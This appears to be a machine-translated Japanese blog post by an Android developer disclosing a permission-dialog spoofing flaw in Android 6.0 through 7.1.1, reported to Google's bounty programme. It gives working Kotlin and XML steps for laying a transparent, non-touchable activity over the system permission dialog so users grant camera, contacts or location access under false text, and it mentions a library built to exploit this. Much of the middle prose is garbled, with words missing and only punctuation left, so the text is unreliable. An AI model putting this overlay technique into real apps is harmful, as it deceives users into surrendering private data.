Androidでのランタイム権限の変更

こんにちは、私の名前はヴィタリーです。





私は25歳で、故郷のサンクトペテルブルク州立電気工科大学「LETI」を卒業しました。私はプログラミングを10年間行っており、そのうち4つはAndroid用に書いています。Sony PlayStation Portable(PSP)用のVITTACHとして知られる多くのHomebrewプログラムの作成者





今日は、モバイルアプリケーションのセキュリティの問題についてお話ししたいと思います。Googleの開発者は、Android Security Rewardsプログラムのおかげで集まった大規模なコミュニティの助けを借りて、脆弱性を見つけて修正し、Androidを絶えず改善しています。これについては、後で説明します。それでもなお問題は残っており、タイムリーに修正されるように報告することはコミュニティとしての私たちの共通の課題です。





私が話す脆弱性は、優先度:P2と重大度:S2のクラスに属します。これは、広い意味でのよれば、次のことを意味します。





  • 妥当な時間枠内に解決する必要がある問題。





  • 大部分のユーザーにとって重要であり、コア機能に関連する問題。





ランタイム権限

この記事では、ランタイム権限としてすべての開発者に知られているもの、つまり、システム上に独自のテキストとアイコンを備えた権限ダイアログボックスを示すことによってエンドユーザーを誤解させる可能性に焦点を当てます。このようなアプローチにより、開発者はユーザーに、たとえばファイルシステムへの許可を求めることができ、実際には、ジオロケーションやカメラなどへのアクセスを許可できると推測するのは簡単です。





それは不可能だ

同様の質問が、専門のフォーラム、特にStackOverflowで何度も行われています唯一の正解はそれが不可能だったということでした。そして、これは本当にそうです。システムダイアログ自体のテキストを置き換えることは不可能ですが、独自のテキストで上書きすることは可能です。





ボンネットの下にあるもの

Runtime Permission Android 6.0



dangerous-. , . dangerous .





Dangerous permissions
  • android.permission_group.CALENDAR





    • android.permission.READ_CALENDAR





    • android.permission.WRITE_CALENDAR





  • android.permission_group.CAMERA





    • android.permission.CAMERA





  • android.permission_group.CONTACTS





    • android.permission.READ_CONTACTS





    • android.permission.WRITE_CONTACTS





    • android.permission.GET_ACCOUNTS





  • android.permission_group.LOCATION





    • android.permission.ACCESSFINELOCATION





    • android.permission.ACCESSCOARSELOCATION





  • android.permission_group.MICROPHONE





    • android.permission.RECORD_AUDIO





  • android.permission_group.PHONE





    • android.permission.READPHONESTATE





    • android.permission.CALL_PHONE





    • android.permission.READCALLLOG





    • android.permission.WRITECALLLOG





    • android.permission.ADD_VOICEMAIL





    • android.permission.USE_SIP





    • android.permission.PROCESSOUTGOINGCALLS





  • android.permission_group.SENSORS





    • android.permission.BODY_SENSORS





  • android.permission_group.SMS





    • android.permission.SEND_SMS





    • android.permission.RECEIVE_SMS





    • android.permission.READ_SMS





    • android.permission.RECEIVEWAPPUSH





    • android.permission.RECEIVE_MMS





    • android.permission.READCELLBROADCASTS





  • android.permission_group.STORAGE





    • android.permission.READEXTERNALSTORAGE





    • android.permission.WRITEEXTERNALSTORAGE









Android GrantPermissionsActivity, .





ActivityCompat.requestPermissions(
    MainActivity.this,
    arrayOf(Manifest.permission.READ_CONTACTS),
    PERMISSION_REQUEST_CODE
)
      
      



Activity, UI , Activity, .





:





Activity android:windowIsTranslucent=true



( Activity , , ) Activity , . Activity Activity .





– Activity , – Activity . Activity, ?





, , , , . , :





Activity , onResume



onPause



. Activity.





, Activity , . – !





,

Kotlin









  • ,





    <style name="Theme.Transparent" parent="AppTheme">
    <item name="android:windowBackground">@android:color/transparent</item>
    <item name="android:windowIsTranslucent">true</item>
    </style>
          
          



  • Activity





    ...
    <activity android:name=".PermissionActivity"
              android:theme="@style/Theme.Transparent">
          
          



  • PermissionActivity layout





    onCreate :





    window.addFlags(
      FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE
    )
          
          



    :





    • FLAG_NOT_FOCUSABLE



      : window, FLAG_NOT_FOCUSABLE



      , ;





    • FLAG_NOT_TOUCH_MODAL



      : , , , ;





    • FLAG_NOT_TOUCHABLE



      : .





  • MainActivity





    ActivityCompat.requestPermissions(
        MainActivity.this,
        arrayOf(Manifest.permission.READ_CONTACTS),
        REQUEST_CODE
    )
          
          



  • MainActivity : PermissionActivity.





    startActivity(Intent(this, PermissionActivity::class.java))
          
          



    PermissionActivity Activity . !





Android >= 7.1.1

Runtime Permission Android 6.0



, 7.1.1



, .. Android



.





Android 6.0



, . , Google .





Android Rewards Program

私は申請書を提出し、この脆弱性に関連するすべての説明およびデモンストレーション文書を添付しました。現在、申請を検討中ですので、同意書に署名しておりますので、詳細はお伝えできません。





どうすれば簡単ですか?

脆弱性を悪用するために、私はライブラリを作成しました




















All Articles